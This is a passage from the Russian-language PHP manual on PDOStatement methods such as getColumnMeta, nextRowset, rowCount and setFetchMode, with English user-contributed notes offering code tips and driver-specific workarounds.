                $this->funcFields = array_values($this->funcFields);
            }
        } else {
            // For fetchObject
            $this->data[$property] = $value; // redirect to Array $data
        }
    }
    private function checkPrimaryKey() {}
    private function clear() {}
    public function delete() {}
    public function insert() {}
    public function update() {}
    public function useFunction($property, $function) {}
}
?>
beinghavingbreackfast at gmail dot com 29-Jul-2015 08:51
It should be mentioned that this method can set even non-public properties. It may sound strange but it can actually be very useful when creating an object based on mysql result.
Consider a User class:

<?php
class User {
   // Private properties
   private $id, $name;

   private function __construct () {}

   public static function load_by_id ($id) {
      $stmt = $pdo->prepare('SELECT id, name FROM users WHERE id=?');
      $stmt->execute([$id]);
      return $stmt->fetchObject(__CLASS__);
   }
   /* same method can be written with the "name" column/property */
}

$user = User::load_by_id(1);
var_dump($user);
?>

fetchObject() doesn't care about properties being public or not. It just passes the result to the object. Output is like:

object(User)#3 (2) {
  ["id":"User":private]=>
  string(1) "1"
  ["name":"User":private]=>
  string(10) "John Smith"
}
dave at davidhbrown dot us 27-Jun-2015 03:03
If using a namespaced class, you must provide the fully qualified class name; fetchObject does not seem to know about any "use" statements.

This results in a PHP Fatal error: Class 'MyClass' not found...:
<?php
use MyNamespace\MyClass;
// ...
$o = $statement->fetchObject('MyClass'));
?>
This works:
<?php
use MyNamespace\MyClass; //still needed for my code
// ...
$o = $statement->fetchObject('MyNamespace\\MyClass'));
?>
Anonymous 15-Mar-2015 11:34
I think so could us use this variant to implement the constructor, this is my example:

<?php
class User{
    public $user;
    public $password;
    public $name;
    public $email;

    public function __construct(){
        $args = func_get_args();
        $nargs = func_num_args();
        $attribs = get_class_vars(get_class($this));
        if(isset($args)){
            foreach($args as $value){
                $attrib = key($attribs);
                $this->$attrib = $value;
                next($attribs);
            }
        }
    }
}
Vegard Lkken 18-Mar-2014 07:19
Because of the injection of object properties before the constructor is executed, I usually build my classes like this to make sure already set properties aren't overwritten:

<?php
class Person {
  public $name;
  public $age;
  public $sex;

  public function __construct($name=NULL, $age=NULL, $sex=NULL) {
    $this->name = $name === NULL ? $this->name : $name;
    $this->age = $age === NULL ? $this->age : $age;
    $this->sex = $sex === NULL ? $this->sex : $sex;
  }
}
?>
rasmus at mindplay dot dk 23-Mar-2013 09:53
Be warned of the rather unorthodox behavior of PDOStatement::fetchObject() which injects property-values BEFORE invoking the constructor - in other words, if your class  initializes property-values to defaults in the constructor, you will be overwriting the values injected by fetchObject() !

A var_dump($this) in your __construct() method will reveal that property-values have been initialized prior to calling your constructor, so be careful.

For this reason, I strongly recommend hydrating your objects manually, after retrieving the data as an array, rather than trying to have PDO apply properties directly to your objects.

Clearly somebody thought they were being clever here - allowing you to access hydrated property-values from the constructor. Unfortunately, this is just not how OOP works - the constructor, by definition, is the first method called upon construction.

If you need to initialize your objects after they have been constructed and hydrated, I suggest your model types implement an interface with an init() method, and you data access layer invoke this method (if implemented) after hydrating.


Получение значения атрибута запроса PDOStatement

  • « PDOStatement::fetchObject
  • PDOStatement::getColumnMeta »
  • PHP Manual
  • PDOStatement
  • Получение значения атрибута запроса PDOStatement

PDOStatement::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::getAttribute — Получение значения атрибута запроса PDOStatement

Описание

public PDOStatement::getAttribute(int $name): mixed

Получает значение атрибута запроса. На данный момент не существует общих атрибутов, есть только характерные для конкретного драйвера:

  • PDO::ATTR_CURSOR_NAME (для Firebird и ODBC): Получение имени курсора для запроса UPDATE ... WHERE CURRENT OF.

Обратите внимание, что атрибуты драйвера не должны использоваться с другими драйверами.

Список параметров

name

Атрибут для запроса.

Возвращаемые значения

Возвращает значение атрибута.

Смотрите также

  • PDO::getAttribute() - Получить атрибут соединения с базой данных
  • PDO::setAttribute() - Установка атрибута
  • PDOStatement::setAttribute() - Устанавливает атрибут объекту PDOStatement

User Contributed Notes

machitgarha at outlook dot com 16-Jul-2017 08:52
MySQL driver doesn't support PDOStatement::getAttribute(). If you use it, it produces a warning, even if you set error reporting (PDO::ERRMODE) to PDO::ERRMODE_SILENT; except when you set to PDO::ERRMODE_EXCEPTION. Also, the SQLSTATE error code of the PDO statement (not the PDO object itself, i.e. using PDOStatement::errorCode()) will be 'IM001'.

Hope this helps someone!


Возвращает метаданные столбца в результирующей таблице

  • « PDOStatement::getAttribute
  • PDOStatement::getIterator »
  • PHP Manual
  • PDOStatement
  • Возвращает метаданные столбца в результирующей таблице

PDOStatement::getColumnMeta

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::getColumnMeta — Возвращает метаданные столбца в результирующей таблице

Описание

public PDOStatement::getColumnMeta(int $column): array|false

Возвращает метаданные столбца результирующей таблицы в виде ассоциативного массива. Индексация столбцов начинается с 0.

Внимание

Некоторые драйверы PDO могут не реализуют функцию PDOStatement::getColumnMeta(), поскольку она является необязательной. Однако все драйверы PDO, указанные в руководстве, реализуют эту функцию.

Список параметров

column

Индекс (начиная с 0) столбца результирующего набора.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий следующие значения метаданных:

Метаданные столбца
Имя | Значение
native_type | Внутренний тип PHP, используемый для представления значения столбца.
driver:decl_type | Тип SQL, используемый для представления значения столбца в базе данных. Если значение столбца результирующей таблицы было возвращено из функции, PDOStatement::getColumnMeta() не будет определять этот тип.
flags | Какие-либо флаги, установленные для столбца.
name | Имя этого столбца, возвращаемое базой данных.
table | Имя таблицы этого столбца, возвращаемое базой данных.
len | Размер поля столбца. Как правило, для типов, отличных от чисел с плавающей точкой, это значение равно -1.
precision | Числовая точность этого столбца. Как правило, для типов, отличных от чисел с плавающей точкой, это значение равно 0.
pdo_type | Тип PDO значения столбца в виде одной из констант PDO::PARAM_*.

Возвращает false в случаях, когда указанного столбца нет в результирующей таблице, а также если не существует самого результирующего набора.

Примеры

Пример #1 Извлечение метаданных столбца

В следующем примере показаны результаты извлечения метаданных одного столбца, сгенерированного функцией COUNT драйвера PDO_SQLITE.

<?php
$select = $DB->query('SELECT COUNT(*) FROM fruit');
$meta = $select->getColumnMeta(0);
var_dump($meta);
?>

Результат выполнения данного примера:

array(6) {
  ["native_type"]=>
  string(7) "integer"
  ["flags"]=>
  array(0) {
  }
  ["name"]=>
  string(8) "COUNT(*)"
  ["len"]=>
  int(-1)
  ["precision"]=>
  int(0)
  ["pdo_type"]=>
  int(2)
}

Смотрите также

  • PDOStatement::columnCount() - Возвращает количество столбцов в результирующем наборе
  • PDOStatement::rowCount() - Возвращает количество строк, затронутых последним SQL-запросом

User Contributed Notes

samer dot mhana at gmail dot com 19-Jul-2021 03:20
Searching for LONGLONG in php-src:

$datatypes = array(
        MYSQLI_TYPE_TINY => "TINY",
        MYSQLI_TYPE_SHORT => "SHORT",
        MYSQLI_TYPE_LONG => "LONG",
        MYSQLI_TYPE_FLOAT => "FLOAT",
        MYSQLI_TYPE_DOUBLE => "DOUBLE",
        MYSQLI_TYPE_TIMESTAMP => "TIMESTAMP",
        MYSQLI_TYPE_LONGLONG => "LONGLONG",
        MYSQLI_TYPE_INT24 => "INT24",
        MYSQLI_TYPE_DATE => "DATE",
        MYSQLI_TYPE_TIME => "TIME",
        MYSQLI_TYPE_DATETIME => "DATETIME",
        MYSQLI_TYPE_YEAR => "YEAR",
        MYSQLI_TYPE_ENUM => "ENUM",
        MYSQLI_TYPE_SET    => "SET",
        MYSQLI_TYPE_TINY_BLOB => "TINYBLOB",
        MYSQLI_TYPE_MEDIUM_BLOB => "MEDIUMBLOB",
        MYSQLI_TYPE_LONG_BLOB => "LONGBLOB",
        MYSQLI_TYPE_BLOB => "BLOB",
        MYSQLI_TYPE_VAR_STRING => "VAR_STRING",
        MYSQLI_TYPE_STRING => "STRING",
        MYSQLI_TYPE_NULL => "NULL",
        MYSQLI_TYPE_NEWDATE => "NEWDATE",
        MYSQLI_TYPE_INTERVAL => "INTERVAL",
        MYSQLI_TYPE_GEOMETRY => "GEOMETRY",
    );
jcastromail at yahoo dot es 10-Mar-2020 08:49
This method is supported by sql server too (at least the version of the PDO driver 5.7.1)

Example:

array(8) {
  ["flags"]=>
  int(0)
  ["sqlsrv:decl_type"]=>
  string(12) "int identity"
  ["native_type"]=>
  string(6) "string"
  ["table"]=>
  string(0) ""
  ["pdo_type"]=>
  int(2)
  ["name"]=>
  string(8) "IdCompra"
  ["len"]=>
  int(10)
  ["precision"]=>
  int(0)
}
frankno dot 94 at gmail dot com 16-Aug-2019 09:32
I recently added a note to a small function that went through the results of PDOStatement::fetch and mapped columns to integer or float types.

I forgot to test for columns that can have a null value!

I'm updating the code here, sorry.

This website doesn't let me edit the original comment, so I'm just gonna link to a gist in case it needs even further fixes.

https://gist.github.com/AeonFr/db3b2a8a95753076d9e4da42d29365d2

I basically added this code:

<?php
if ($value === null) {
   continue;
}
?>
frankno dot 94 at gmail dot com 13-Aug-2019 10:05
I was able to successfully pull off basic type conversion for integer and float values in PDO.

NULL values were returning as null, but integers and floats weren't, so I decided to go with a simple solution.

It's not tested on all database types, so if you think it needs improvement, let me know (my twitter is "francanobr")

<?php

// Returns the contents of $stm (PDO Statement)
// as an associative array, with correct native types
// for integers, nulls, and floats

$array = [];

while ($fila = $stm->fetch(\PDO::FETCH_ASSOC)) {

    $i = 0;
    foreach ($fila as $key => $value) {
        $columnMeta = $stm->getColumnMeta($i);

        switch ($columnMeta['native_type']) {
            case 'LONG':
            case 'TINY':
                $fila[$key] = intval($value);
                break;
            case 'DOUBLE':
                $fila[$key] = floatval($value);
                break;
        }

        $i++;
    }

    $array[] = $fila;
}

return $array;
?>

The code sample is part of a function, the function declaration is not included, evaluate how to integrate it with your app.
Rodrigo Silva 03-Aug-2019 11:57
native_type has the following mapping for MySQL:
(tested in PHP 5.4, MySQL 5.7)

INT(11) (PKs) => LONG
TINYINT(4)    => TINY
DOUBLE        => DOUBLE
VARCHAR       => VAR_STRING
CHAR          => STRING
DATE          => DATE
Functions     => VAR_STRING
- DATEFORMAT()
- CONCAT()
colin at fusionbox dot com 23-Jan-2009 10:38
This method is supported in the MySQL 5.0+ driver.  It can be used for object hydration:

<?php

$pdo_stmt = $dbh->execute('SELECT discussion.id, discussion.text, comment.id, comment.text FROM discussions LEFT JOIN comments ON comment.discussion_id = discussion.id');

foreach(range(0, $pdo_stmt->columnCount() - 1) as $column_index)
{
  $meta[] = $pdo_stmt->getColumnMeta($column_index);
}

while($row = $pdo_stmt->fetch(PDO::FETCH_NUM))
{
  foreach($row as $column_index => $column_value)
  {
    //do something with the data, using the ids to establish the discussion.has_many(comments) relationship.
  }
}

?>

If you are building an ORM, this method is very useful to support more natural SQL syntax.  Most ORMs require the column names to be aliases so that they can be parsed and turned into objects that properly represent has_one, has_many, many_to_many relationships.
asohn aircanopy net 29-Feb-2008 09:21
I found a short discussion related to this function at
http://www.sitepoint.com/forums/showthread.php?t=497257

I haven't tried it (yet?) but hopefully someone can find it useful.


Получает итератор набора результатов

  • « PDOStatement::getColumnMeta
  • PDOStatement::nextRowset »
  • PHP Manual
  • PDOStatement
  • Получает итератор набора результатов

PDOStatement::getIterator

(PHP 8)

PDOStatement::getIterator — Получает итератор набора результатов

Описание

public PDOStatement::getIterator(): Iterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему набору строк в результате запроса

  • « PDOStatement::getIterator
  • PDOStatement::rowCount »
  • PHP Manual
  • PDOStatement
  • Переход к следующему набору строк в результате запроса

PDOStatement::nextRowset

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::nextRowset — Переход к следующему набору строк в результате запроса

Описание

public PDOStatement::nextRowset(): bool

Некоторые СУБД поддерживают хранимые процедуры, которые возвращают более одного набора строк (его ещё называют результирующим набором). PDOStatement::nextRowset() позволяет получить доступ ко второму и дальнейшим наборам, соответствующим объекту PDOStatement. Разные наборы строк могут иметь разное количество столбцов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Извлечение данных из нескольких наборов строк, возвращённых хранимой процедурой

В следующем примере показано, как вызывать хранимую процедуру MULTIPLE_ROWSETS, которая возвращает три набора строк. Мы вызываем PDOStatement::nextRowset() в цикле do-while, пока он не вернёт false и завершит цикл, когда больше не будет доступных результирующих наборов.

<?php
$sql = 'CALL multiple_rowsets()';
$stmt = $conn->query($sql);
$i = 1;
do {
$rowset = $stmt->fetchAll(PDO::FETCH_NUM);
if ($rowset) {
printResultSet($rowset, $i);
}
$i++;
} while ($stmt->nextRowset());

function printResultSet(&$rowset, $i) {
print "Результирующий набор $i:\n";
foreach ($rowset as $row) {
foreach ($row as $col) {
print $col . "\t";
}
print "\n";
}
print "\n";
}
?>

Результат выполнения данного примера:

Результирующий набор 1:
apple    red
banana   yellow

Результирующий набор 2:
orange   orange    150
banana   yellow    175

Результирующий набор 3:
lime     green
apple    red
banana   yellow

Смотрите также

  • PDOStatement::columnCount() - Возвращает количество столбцов в результирующем наборе
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение
  • PDOStatement::getColumnMeta() - Возвращает метаданные столбца в результирующей таблице
  • PDO::query() - Подготавливает и выполняет выражение SQL без заполнителей

User Contributed Notes

alex at 1stleg dot com 28-Jul-2016 06:29
If you use PDO::fetch instead of PDO::fetchAll and do not reach the end the result set, PDO::nextRowset() will fail with "SQLSTATE[HY000]: General error: PDO_DBLIB: dbresults() returned FAIL."
et dot coder at gmail dot com 14-Oct-2014 01:37
on MSSQL and 'dsn' => 'dblib:...',:
If you know how many count rowset then don't use contruction of do..while.

<?php
do {
    $pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
} while (
    $pdoStatement->nextRowset()
);
?>
When I get large fetchAll(over 30) for second nextRowset. I get error - Segmentation fault.

Uses step-by-step insted do..while is fix for this bug:
<?php
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
$pdoStatement->nextRowset();
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
?>
guilleamathews at gmail dot com 19-Aug-2011 05:41
PDO::nextRowset() does not appear to be currently supported by the Firebird PDO driver. Unfortunate.


Возвращает количество строк, затронутых последним SQL-запросом

  • « PDOStatement::nextRowset
  • PDOStatement::setAttribute »
  • PHP Manual
  • PDOStatement
  • Возвращает количество строк, затронутых последним SQL-запросом

PDOStatement::rowCount

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::rowCount — Возвращает количество строк, затронутых последним SQL-запросом

Описание

public PDOStatement::rowCount(): int

PDOStatement::rowCount() возвращает количество строк, которые были затронуты в ходе выполнения последнего запроса DELETE, INSERT или UPDATE, запущенного соответствующим объектом PDOStatement.

Для операторов, создающих наборы результатов, таких как SELECT, поведение не определено и может быть различным для каждого драйвера. Некоторые базы данных могут возвращать количество строк, созданных этим оператором (например, MySQL в буферизованном режиме), но такое поведение не гарантируется для всех баз данных и не должно использоваться в переносимых приложениях.

Замечание:

Этот метод всегда возвращает "0" (ноль) с драйвером SQLite, а с драйвером PostgreSQL только при установке атрибута оператора PDO::ATTR_CURSOR равным PDO::CURSOR_SCROLL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество строк.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Получение количества удалённых строк

PDOStatement::rowCount() возвращает количество строк, изменённых выражениями DELETE, INSERT или UPDATE.

<?php
/* Удалим все строки из таблицы FRUIT */
$del = $dbh->prepare('DELETE FROM fruit');
$del->execute();

/* Выведем число удалённых строк */
print "Количество удалённых строк:\n";
$count = $del->rowCount();
print "Удалено $count строк.\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Количество удалённых строк:
Удалено 9 строк.

Пример #2 Подсчёт строк, возвращаемых выражением SELECT

Для большинства СУБД PDOStatement::rowCount() не возвращает количество строк, затронутых SELECT запросом. Вместо этого метода запустите через PDO::query() выражение SELECT COUNT(*) с тем же текстом запроса. Затем методом PDOStatement::fetchColumn() вы получите число совпадающих строк.

<?php
$sql = "SELECT COUNT(*) FROM fruit WHERE calories > 100";
$res = $conn->query($sql);
$count = $res->fetchColumn();

print "Совпадающих записей: " . $count;
?>

Результатом выполнения данного примера будет что-то подобное:

Совпадающих записей: 2

Смотрите также

  • PDOStatement::columnCount() - Возвращает количество столбцов в результирующем наборе
  • PDOStatement::fetchColumn() - Возвращает данные одного столбца следующей строки результирующего набора
  • PDO::query() - Подготавливает и выполняет выражение SQL без заполнителей

User Contributed Notes

bohwaz 05-Apr-2019 12:42
Please note another interesting behavior with PostgreSQL.

If you try to use rowCount() after a statement has been prepared using the PDO::ATTR_CURSOR set to PDO::CURSOR_SCROLL you will always get zero (0).

That's because PG doesn't have any way to tell how many rows are in the cursor until it did iterate through all rows.

<?php
$st = $pdo->prepare('SELECT NOW();', [PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL]);
$st->execute();
var_dump($st->rowCount());
?>

Will return "0", whereas the same statement without the CURSOR_SCROLL attribute, will correctly return 1.

Please see this bug report https://bugs.php.net/bug.php?id=77855 for details.

This documentation should be updated shortly to reflect that issue.
xmt at abv dot bg 19-Jun-2018 10:30
Note:
=====
On Mysql SELECT statement with Buffered queries, rowCount will return the correct count of the items in the result set.
BUT if your query is unbuffered, than it will return 0. No matter if all the rows are retrieved from the result set or not (while in mysqli this behaviour is different - you will still get the number of items in the result set with unbuffered queries, but only when you retrieve all the rows from the set).

Example:
========
$conn = new PDO("mysql:host=127.0.0.1;dbname=db", 'root', 'root');

// use unbuffered query
$conn->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$stmt = $conn->query("select * from towns");

echo $stmt->rowCount(); // will always return 0
lsrzj at facebook 09-Dec-2015 02:03
Well, I woundn't do as suggested querying twice the database to get the count and then get the data I want. It would be simpler and would give better performance to query once and retrieve both, record count and the data itself

<?php
$sql = "SELECT * FROM fruit WHERE calories > :calories";
$sth = $conn->prepare($sql);
$sth->bindParam(':calories', 100, PDO::PARAM_INT);
$res = $sth->execute();
if ($res) {
    $record = $sth->fetchAll();
    /* Check the number of rows that match the SELECT statement */
    if (count($record) > 0) {
        foreach ($record as $row) {
            print "Name: " .  $row['NAME'] . "\n";
         }
    }
    /* No rows matched -- do something else */
  else {
      print "No rows matched the query.";
    }
}
$conn = null;
?>
@rhavendc (twitter) 23-Nov-2015 08:10
We're having problem with these PDOStatement::fetchColumn() and PDOStatement::rowCount(). I don't know if we have alike case to others or this is just a problem in our coding. In local, the rowCount() is not giving the correct number of rows but it is working fine when uploaded to our hosting site.. while the fetchColumn() is the reverse. The fetchColumn() is working fine in local but not anymore when uploaded. I don't know what is really going on with that but I think rowCount() is the best and the others are optional to use.
info at buylikesandviews dot com 21-Mar-2015 09:04
every good work
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count..
phpnet at maya-control dot ro 10-Apr-2014 11:09
Yet another workaround to return the row count inside only ONE select (see limitations below!):

$sth = $dbh->prepare("SELECT *,count(*) AS howmany FROM users WHERE email=:email and password=:pass"); #var placeholders
$sth->execute(array(':email'=>$email, ':pass'=>$pass)); #var binding
$row = $sth->fetch(); #get one row (it'll always be one and only one!!!)

if ($row['howmany'] == 1){ #we have a match and only one! cool!
    echo $row['email'], $row['name'], $row['phone'], ... ;
} elseif ($row['howmany']>1) { #more than one row returned
    #one programmer should be fired 'cause he's not checking for
    #for existing emails, before creating a new user
    ...
    # treat this exception somehow or simply skip this branch,
    # if you're sure it won't happen in your table
} else { #no match in the table ($row['howmany'] == 0)
    echo "Email/pass didn't match the ones in the database!";
}

Advantages:
- only one select statement is executed, no two steps needed!
- it checks if one row exists in the table or not, according to the WHERE clause.
- it returns all (or only a selection of) fields for that one row, if exists.

Disadvantages:
- it doesn't return row fields reliable if more than one row found. If more than one row responds to the SELECT query, the query returns still only one row and you don't know which one exactly .
Maybe using a SORT BY, would make it a bit more predictible (as in: "if more than one users found, return the last user added in the table") but it's more a matter of good design of the program that fills in the table initially.

Uses:
- It is perfect for checking if a user/pass pair is present in a users table and to return the other fields of the user (like name, phone, whatever) if user was found.
sERGE-01 04-Nov-2013 12:15
In some drivers rowCount() only works when using the prepare() with PDO::CURSOR_SCROLL
So, you can modify PDO class:

<?php
class myPDO extends PDO
{
    function query($query, $values=null)
    {
        if($query == "")
            return false;

        if($sth = $this->prepare($query, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL)))
        {
            $res = ($values) ? $sth->execute($values) : $sth->execute();
            if(!$res)
                return false;
        }
        return $sth;
    }
}
?>

Now let's test (i using php 5.2.9-2):

<?php
function TestRowCount($dsn, $db_user, $db_pass)
{
    $pdh = new PDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() Standart: ".$sth->rowCount()."<br>";

    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() New: ".$sth->rowCount()."<br><br>";

    $pdh=null;
}

$db_server = "xxx";
$db_name = "xxx";
$db_user = "xxx";
$db_pass = "xxx";

print "PDO_MSSQL"."<br>";
TestRowCount("mssql:host=$db_server;dbname=$db_name", $db_user, $db_pass);

print "MSSQL throw PDO_ODBC"."<br>";
TestRowCount("odbc:DRIVER={SQL Server};SERVER=$db_server;DATABASE=$db_name;", $db_user, $db_pass);

print "MS SQL driver 2.0"."<br>";
TestRowCount("sqlsrv:server=$db_server;Database=$db_name", $db_user, $db_pass);
?>

My results:
-------------------
PDO_MSSQL
rowCount() Standart: 0
rowCount() New: 0

MSSQL throw PDO_ODBC
rowCount() Standart: -1
rowCount() New: 53

MS SQL driver 2.0
rowCount() Standart: -1
rowCount() New: 53
-------------------

With myPDO class you can use prepared queries like:
<?php
    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("select * from data where id>? or name like ?", array(100, "A%"));
?>
user at nospam dot example dot com 03-Sep-2013 06:49
MySQL does not seem to return anything in rowCount for a select statement, but you can easily and efficiently get the row count as follows:

class db extends PDO {
  public function last_row_count() {
    return $this->query("SELECT FOUND_ROWS()")->fetchColumn();
  }
}

$myDb = new db('mysql:host=myhost;dbname=mydb', 'login', 'password' );

Then, after running your query:

if ( $myDb->last_row_count() == 0 ) {
  echo "Do something!";
  }
Daniel Karp 31-Aug-2012 12:09
Note that an INSERT ... ON DUPLICATE KEY UPDATE statement is not an INSERT statement, rowCount won't return the number or rows inserted or updated for such a statement.  For MySQL, it will return 1 if the row is inserted, and 2 if it is updated, but that may not apply to other databases.
leandro at marquesini dot com 03-Jan-2012 10:04
To display information only when the query is not empty, I do something like this:

<?php
    $sql = 'SELECT model FROM cars';
    $stmt = $db->prepare($sql);
    $stmt->execute();

    if ($data = $stmt->fetch()) {
        do {
            echo $data['model'] . '<br>';
        } while ($data = $stmt->fetch());
    } else {
        echo 'Empty Query';
    }
?>
Ome Ko 16-Jul-2011 12:08
When updating a Mysql table with identical values nothing's really affected so rowCount will return 0. As Mr. Perl below noted this is not always preferred behaviour and you can change it yourself since PHP 5.3.

Just create your PDO object with
<? php
$p = new PDO($dsn, $u, $p, array(PDO::MYSQL_ATTR_FOUND_ROWS => true));
?>
and rowCount() will tell you how many rows your update-query actually found/matched.
e dot sand at elisand dot com 19-Nov-2008 11:32
My rowCount() workaround & how it's used:

<?php
class MyPDO extends PDO {
    private $queryString;

    public function query(/* ... */) {
        $args = func_get_args();
        $this->queryString = func_get_arg(0);

        return call_user_func_array(array(&$this, 'parent::query'), $args);
    }

    public function rowCount() {
        $regex = '/^SELECT\s+(?:ALL\s+|DISTINCT\s+)?(?:.*?)\s+FROM\s+(.*)$/i';
        if (preg_match($regex, $this->queryString, $output) > 0) {
            $stmt = parent::query("SELECT COUNT(*) FROM {$output[1]}", PDO::FETCH_NUM);

            return $stmt->fetchColumn();
        }

        return false;
    }
}

$pdo = new MyPDO("sqlite::memory:");
$result = $pdo->query("SELECT row1, row2 FROM table WHERE something = 5");

if ($pdo->rowCount() > 0) {
    echo "{$result['row1']}, {$result['row2']}";
}
?>
e dot sand at elisand dot com 19-Nov-2008 11:30
As of SQLite 3.x, the SQLite API itself changed and now all queries are implemented using "statements".  Because of this, there is no way for PDO to know the rowCount of a SELECT result because the SQLite API itself doesn't offer this ability.

As a workaround, I created my own rowCount() function - it's a bit of a hack and hasn't been fully tested yet (I don't know how it will work when using JOINs in SELECTs, etc...), but at least alleviates the necessity for SELECT COUNT(*)'s everywhere in your code.

I would have preferred if it were possible to overload the rowCount() function from PDOStatement, but I don't think it's possible (or I don't know how to do it).  There's also potential room for a bit more security ensuring that $queryString is wiped clean after other query()s so that you don't get a bad result, etc...

The actual code should be posted in the above/below post (max post limits, argh!).  If others wish to extend/perfect this method, please keep me posted with an email as to what you've done.
gunnrosebutpeace at gmail dot com 03-Jun-2008 03:19
It'd better to use SQL_CALC_FOUND_ROWS, if you only use MySQL. It has many advantages as you could retrieve only part of result set (via LIMIT) but still get the total row count.
code:
<?php
$db = new PDO(DSN...);
$db->setAttribute(array(PDO::MYSQL_USE_BUFFERED_QUERY=>TRUE));
$rs  = $db->query('SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 5,15');
$rs1 = $db->query('SELECT FOUND_ROWS()');
$rowCount = (int) $rs1->fetchColumn();
?>
Matt 07-Oct-2007 09:22
Great, while using MySQL5, the only way to get the number of rows after doing a PDO SELECT query is to either execute a separate SELECT COUNT(*) query (or to do count($stmt->fetchAll()), which seems like a ridiculous waste of overhead and programming time.

Another gripe I have about PDO is its inability to get the value of output parameters from stored procedures in some DBMSs, such as SQL Server.

I'm not so sure I'm diggin' PDO yet.


Устанавливает атрибут объекту PDOStatement

  • « PDOStatement::rowCount
  • PDOStatement::setFetchMode »
  • PHP Manual
  • PDOStatement
  • Устанавливает атрибут объекту PDOStatement

PDOStatement::setAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::setAttribute — Устанавливает атрибут объекту PDOStatement

Описание

public PDOStatement::setAttribute(int $attribute, mixed $value): bool

Задаёт атрибут объекта PDOStatement. На данный момент никаких общих атрибутов устанавливать нельзя, только характерные для конкретного драйвера:

  • PDO::ATTR_CURSOR_NAME (для Firebird и ODBC): Задаёт имя курсора для запросов вида UPDATE ... WHERE CURRENT OF.

Обратите внимание, что атрибуты драйвера не должны использоваться с другими драйверами.

Список параметров

attribute

Атрибут для изменения.

value

Значение для установки параметра attribute может потребовать определённого типа в зависимости от атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • PDO::getAttribute() - Получить атрибут соединения с базой данных
  • PDO::setAttribute() - Установка атрибута
  • PDOStatement::getAttribute() - Получение значения атрибута запроса PDOStatement

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим выборки по умолчанию для объекта запроса

  • « PDOStatement::setAttribute
  • PDOException »
  • PHP Manual
  • PDOStatement
  • Устанавливает режим выборки по умолчанию для объекта запроса

PDOStatement::setFetchMode

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::setFetchMode — Устанавливает режим выборки по умолчанию для объекта запроса

Описание

public PDOStatement::setFetchMode(int $mode): bool
public PDOStatement::setFetchMode(int $mode = PDO::FETCH_COLUMN, int $colno): bool
public PDOStatement::setFetchMode(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs = null): bool
public PDOStatement::setFetchMode(int $mode = PDO::FETCH_INTO, object $object): bool

Список параметров

mode

Режим выборки можно задавать только одной из констант PDO::FETCH_*.

colno

Номер столбца.

class

Имя класса.

constructorArgs

Аргументы конструктора класса.

object

Объект.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Изменение режима выборки

В следующем примере показано, как метод PDOStatement::setFetchMode() меняет режим выборки по умолчанию для объекта PDOStatement.

<?php
$stmt = $dbh->query('SELECT name, colour, calories FROM fruit');
$stmt->setFetchMode(PDO::FETCH_NUM);
foreach ($stmt as $row) {
print $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
}

Результат выполнения данного примера:

apple   red     150
banana  yellow  250
orange  orange  300
kiwi    brown   75
lemon   yellow  25
pear    green   150

User Contributed Notes

Kats 24-Aug-2017 09:02
Something very helpful is knowing how to access namespaces from the function. It took me a minute (and Google) to figure out. The ::class property is going to be your best friend in this case.

<?php
$stmt->setFetchMode(PDO::FETCH_CLASS, Name\Space\Class::class);
?>
Dormilich at netscape dot net 13-Jul-2010 02:16
if you want to fetch your result into a class (by using PDO::FETCH_CLASS) and want the constructor to be executed *before* PDO assings the object properties, you need to use the PDO::FETCH_PROPS_LATE constant:

<?php
$stmt = $pdo->prepare("your query");

$stmt->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, "className", $constructorArguments);

# pass parameters, if required by the query
$stmt->execute($parameters);

foreach ($stmt as $row)
{
    // do something with (each of) your object
}
?>
stein_AT_rhrk.uni-kl.de 19-Nov-2007 04:04
Some note on PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE

